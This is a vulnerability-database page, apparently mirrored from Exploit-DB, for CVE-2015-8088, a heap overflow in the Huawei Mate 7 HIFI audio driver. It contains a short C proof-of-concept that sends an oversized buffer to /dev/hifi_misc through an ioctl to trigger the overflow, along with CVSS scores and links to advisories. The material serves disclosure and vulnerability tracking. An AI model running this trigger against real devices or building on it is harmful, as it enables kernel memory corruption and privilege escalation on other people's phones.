Lucene search
+L

Huawei Mate 7 - '/dev/hifi_misc' Privilege Escalation

🗓️ 24 Jan 2016 00:00:00Reported by pray3rType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 29 Views

Huawei Mate 7 /dev/hifi_misc Privilege Escalation Po

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Huawei Mate 7 - (/dev/hifi_misc) Privilege Escalation Exploit
20 Mar 201800:00
zdt
gitee
Gitee
Exploit for Out-of-bounds Write in Linux Linux_Kernel
13 Sep 202521:03
gitee
cnvd
CNVD
Huawei Mate7 HIFI Driver Memory Heap Overflow Vulnerability
10 Nov 201500:00
cnvd
cve
CVE
CVE-2015-8088
12 Jan 201619:00
cve
cvelist
Cvelist
CVE-2015-8088
12 Jan 201619:00
cvelist
euvd
EUVD
EUVD-2015-7981
7 Oct 202500:30
euvd
huawei
Huawei
Security Advisory - Heap Overflow Vulnerability in the HIFI Driver of Huawei Smart Phone
4 Nov 201500:00
huawei
nvd
NVD
CVE-2015-8088
12 Jan 201619:59
nvd
prion
Prion
Heap overflow
12 Jan 201619:59
prion
/*
 *
 *  HuaWei Mate7 hifi driver Poc
 *
 *  Writen by pray3r, <[email protected]>
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>

#define HIFI_MISC_IOCTL_WRITE_PARAMS    _IOWR('A', 0x75, struct misc_io_sync_param)

struct misc_io_sync_param {
	void *                  para_in;
	unsigned int            para_size_in;
	void *                  para_out;
	unsigned int            para_size_out;
};

int main(int arg, char **argv)
{
	int fd;
	void *in = malloc(300 * 1024);
	void *out = malloc(100);
	struct misc_io_sync_param poc;

	poc.para_in = in;
	poc.para_size_in = 300 * 1024;
	poc.para_out = out;
	poc.para_size_out = 100;

	fd = open("/dev/hifi_misc", O_RDWR);

	ioctl(fd, HIFI_MISC_IOCTL_WRITE_PARAMS, &poc);

	free(in);
	free(out);

	return 0;
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 Mar 2018 00:00Current
7.4High risk
Vulners AI Score7.4
CVSS 37.8
CVSS 29.3
EPSS0.03811
29